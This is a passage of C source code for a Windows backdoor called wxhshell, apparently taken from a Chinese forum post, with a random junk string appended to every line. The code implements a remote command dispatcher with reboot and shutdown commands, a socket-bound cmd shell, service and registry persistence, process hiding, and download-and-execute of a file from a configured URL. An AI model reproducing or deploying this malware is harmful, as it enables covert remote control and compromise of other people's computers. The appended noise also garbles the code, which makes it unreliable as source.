nH/V2> Lm  
    switch(cmd[0]) { 1vx:`2 A4  
  9p9:nx\  
  // 帮助 |J?KHI  
  case '?': { cK1r9ED|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bd31> %6  
    break; doW_v u  
  } 5O]ph[7  
  // 安装 _ ?xORzO  
  case 'i': { B14z<x}Q  
    if(Install()) PZ AyHXY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!0uAkt9C  
    else C Rw.UC\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6zaO$  
    break; ZdY:I;)s  
    } z|<6y~5,  
  // 卸载 "!+q0l1]@  
  case 'r': { |36d<b Io  
    if(Uninstall()) >E^sZmY[f-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ri.;&  
    else LS?3 >1g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zb^0EbV  
    break; .Q>.|mu  
    } r@%-S!$  
  // 显示 wxhshell 所在路径 MOJKz!%  
  case 'p': { SdeKRZ{o  
    char svExeFile[MAX_PATH]; hDSt6O4za  
    strcpy(svExeFile,"\n\r"); l> W?XH  
      strcat(svExeFile,ExeFile); R]/3`X9!d>  
        send(wsh,svExeFile,strlen(svExeFile),0); qa.nm4"6+  
    break; +%UfnbZ  
    } /hQTV!\u  
  // 重启 0h _9  
  case 'b': { T oTehVw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9B{,q6  
    if(Boot(REBOOT)) wJNiw)C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>IY<]x>L  
    else { `gDpb.=Y  
    closesocket(wsh); J4;w9[a$  
    ExitThread(0); SRRqIQz  
    } !NuiVC]  
    break; .-awl1 W  
    } X6)-1.T&  
  // 关机 &z+nNkr?yN  
  case 'd': { +? E~F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6k|o<`~,  
    if(Boot(SHUTDOWN)) *%=BcV+,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |a*VoMZ  
    else { bqWo*>l  
    closesocket(wsh); )+OI}  
    ExitThread(0); +C' u!^ )  
    } .D!0$W mOZ  
    break; iqreIMWz  
    } TwH%P2)x  
  // 获取shell =8?y$WE  
  case 's': { ?\"GT]5D  
    CmdShell(wsh); 3X=9$xw_  
    closesocket(wsh); K`{P/w  
    ExitThread(0); PzMJ^H{  
    break; >-*rtiE  
  } 7l/.f SW  
  // 退出 7/& i'y  
  case 'x': { iyKAw   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]w`)"{j5m  
    CloseIt(wsh); <2"'R(4",  
    break; #>i Bu:\J  
    } DvB!- |ek  
  // 离开 O2g9<H   
  case 'q': { ;h<(vc3@f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q,9"/@:c,  
    closesocket(wsh); bA!n;  
    WSACleanup(); w$[&ejFb  
    exit(1); qIS9.AL  
    break;  :tBIo7  
        } [ R  
  } b 5<&hN4g  
  } 8eq*q   
l25_J.e  
  // 提示信息 kw{dvE\K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1y'8bt~7Pf  
} C~-x637/  
  } kl%%b"h'  
n_QSuh/Wn  
  return; )O\w'|$G  
} 10R#} ~D  
.);~H#  
// shell模块句柄 >9dzl#  
int CmdShell(SOCKET sock) S52'!WTq  
{ ~tx|C3A`d  
STARTUPINFO si; E)sC:oO  
ZeroMemory(&si,sizeof(si)); J=7.-R|t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h K;9XJAf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -LzkM"  
PROCESS_INFORMATION ProcessInfo; \A7{kI  
char cmdline[]="cmd"; -w'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G\&9.@`k  
  return 0; mv] .  
} -UY5T@as  
: N9,/-s  
// 自身启动模式 E+z),"QA  
int StartFromService(void) -[/tS<U  
{ m';j#j)w  
typedef struct >x?x3#SX  
{ J;HYGu:  
  DWORD ExitStatus; I\e/ Bv^  
  DWORD PebBaseAddress; =r|e]4  
  DWORD AffinityMask; @7UZ{+67*C  
  DWORD BasePriority; !ZNirvk  
  ULONG UniqueProcessId; J([Y4Em5  
  ULONG InheritedFromUniqueProcessId; Y*VF1M,2_  
}   PROCESS_BASIC_INFORMATION; :m.6a4vx  
)R6h 1  
PROCNTQSIP NtQueryInformationProcess; ]gjQy.c|  
d ~#B,+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 43wm_4C!H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xmVW6 ,<?  
H=lzW_(  
  HANDLE             hProcess; 1Hl-|n  
  PROCESS_BASIC_INFORMATION pbi; o8_))  
W(5XcP(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T<? (KW  
  if(NULL == hInst ) return 0; C)UL{n  
{%wF*?gk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \-Vja{J]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H(?)v.%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CP0;<}k  
[nc-~T+Mo  
  if (!NtQueryInformationProcess) return 0; ca=sc[ $+  
:2t0//@X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |$|B0mj  
  if(!hProcess) return 0; Es<& 6  
;*%3J$T+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,J6t 1V  
srlxp_^  
  CloseHandle(hProcess); >Nam@,hm  
ZLDO&}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "DO|B=EejP  
if(hProcess==NULL) return 0; |N5r_V  
~ =GwNo_  
HMODULE hMod; P2Jo^WS  
char procName[255]; dNu?O>=  
unsigned long cbNeeded; joz0D!-"#  
^F)t>K$0m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mz7qC3Z  
^[x6p}$  
  CloseHandle(hProcess); Ab #}BHI  
v6U Gr4  
if(strstr(procName,"services")) return 1; // 以服务启动 *{:Zdg'~E  
5GK> ~2c(  
  return 0; // 注册表启动 ~P7zg!p/q  
} [][ze2+b  
E "%d O  
// 主模块 j>8S,b=%  
int StartWxhshell(LPSTR lpCmdLine) oRo[WQla  
{ ARUzEo gcf  
  SOCKET wsl; ]z O6ESH  
BOOL val=TRUE; ;fW`#aE  
  int port=0; BOfl hoUX  
  struct sockaddr_in door; y(ceEV  
23d*;ri5  
  if(wscfg.ws_autoins) Install(); redMlHM  
Sx:JuK@  
port=atoi(lpCmdLine); `+h+X 9  
mxnu\@}(  
if(port<=0) port=wscfg.ws_port; dQn , 0  
r>#4Sr  
  WSADATA data; frokl5L@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2BKiA[ ;;  
kyi"U A82  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +iqzj-e&e[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1B#iJZ}  
  door.sin_family = AF_INET; `@xnpA]l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Or#KF6+ut  
  door.sin_port = htons(port); A vww @$  
6&+}Hhe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0.\}D:x(z  
closesocket(wsl); x) jc  
return 1; ?8qN8rk^+  
} 5O(U1 *  
%I=/ y  
  if(listen(wsl,2) == INVALID_SOCKET) { wRdN(`;v  
closesocket(wsl); EK.n $  
return 1; EfB.K}b^  
} n-9a 0_{k  
  Wxhshell(wsl); uZTbJ3$$  
  WSACleanup(); 2KlVj]!7  
&^`[$LtYd  
return 0; shD4";8*@  
: q>)c]  
} Quwq_.DU  
\JC_"gqt  
// 以NT服务方式启动 c|@OD3w2lM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'rNLh3  
{ "/G] M&  
DWORD   status = 0; YSzC's[  
  DWORD   specificError = 0xfffffff; _?]W%R|  
27i-B\r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~g9~D}48k'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (}5};v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^M1jv(  
  serviceStatus.dwWin32ExitCode     = 0; PM i.)%++  
  serviceStatus.dwServiceSpecificExitCode = 0; `z`=!1  
  serviceStatus.dwCheckPoint       = 0; SKF0p))BJ  
  serviceStatus.dwWaitHint       = 0; ![!,i\x  
qm<-(Qc(W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KRX\<@  
  if (hServiceStatusHandle==0) return; xU2i&il^!  
Lf:#koaC  
status = GetLastError(); 6B]i}nFH{+  
  if (status!=NO_ERROR) n2dOCntN>  
{ W9{i~.zo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -'}#j\  
    serviceStatus.dwCheckPoint       = 0; Em4'b1mDX%  
    serviceStatus.dwWaitHint       = 0; H2xDC_Fs  
    serviceStatus.dwWin32ExitCode     = status; *ZV3]ig2$  
    serviceStatus.dwServiceSpecificExitCode = specificError; !u:Fn)j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?^J%S,  
    return; -aLM*nIoe  
  } U# IPYyV  
i03=Af3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I]HLWF  
  serviceStatus.dwCheckPoint       = 0; #S] O|$&*  
  serviceStatus.dwWaitHint       = 0; {3SK|J`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nTw:BU4jd  
} G({5LjgW  
w#_7,*6]  
// 处理NT服务事件,比如:启动、停止 'f0R/6h\3s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]<ay_w;  
{ c6 .j$6t  
switch(fdwControl) iaQfxQP1w%  
{ xnJ#}-.7  
case SERVICE_CONTROL_STOP: ZFh[xg'0  
  serviceStatus.dwWin32ExitCode = 0; nET<u;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3 g:P>(  
  serviceStatus.dwCheckPoint   = 0; GY5JPl  
  serviceStatus.dwWaitHint     = 0; v9!] /]U^  
  { eL'fJcjw<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Fv7JPN%  
  } i-#Dc (9  
  return; s0CDp"uJY  
case SERVICE_CONTROL_PAUSE: zo8&(XS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xT( pB-R  
  break; 9. ,IqnP  
case SERVICE_CONTROL_CONTINUE: 6(7dr?^eGT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .g7\+aiTUd  
  break; !s ! el;G  
case SERVICE_CONTROL_INTERROGATE: zG c ]*R  
  break; >) Bv>HM  
}; [g}0.J`_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a[,p1}!_  
} arS@l<79  
(WP^}V5  
// 标准应用程序主函数 {$ pi};  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DGw*BN%`  
{ _;/+8=  
_PQk<QZ  
// 获取操作系统版本 Z 0v&AD=  
OsIsNt=GetOsVer(); A;6ew4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V}~',o<m  
>5TXLOYZ  
  // 从命令行安装 #;+SAoN  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?5^DQ|Hg ^  
dB QCr{7  
  // 下载执行文件 &m]jYvRc  
if(wscfg.ws_downexe) { 'geN  dx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .$Yp~  
  WinExec(wscfg.ws_filenam,SW_HIDE); eLV[U  
} gR_Exs'K  
bb+iUV|Do  
if(!OsIsNt) { ixoN#'y<"  
// 如果时win9x,隐藏进程并且设置为注册表启动 <(xro/  
HideProc(); E8wkqZN  
StartWxhshell(lpCmdLine); ?(}~[  
} ytV[x  
else ^>eV}I5ak  
  if(StartFromService()) /)dyAX(  
  // 以服务方式启动 eOfVBF<C2  
  StartServiceCtrlDispatcher(DispatchTable); T{N8 K K  
else A!uiM*"W  
  // 普通方式启动 !kH 1|  
  StartWxhshell(lpCmdLine); 5yj6MaqJ  
(.wR!l# !  
return 0; & IsPqO  
}
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只看该作者 1 发表于: 2006-10-10
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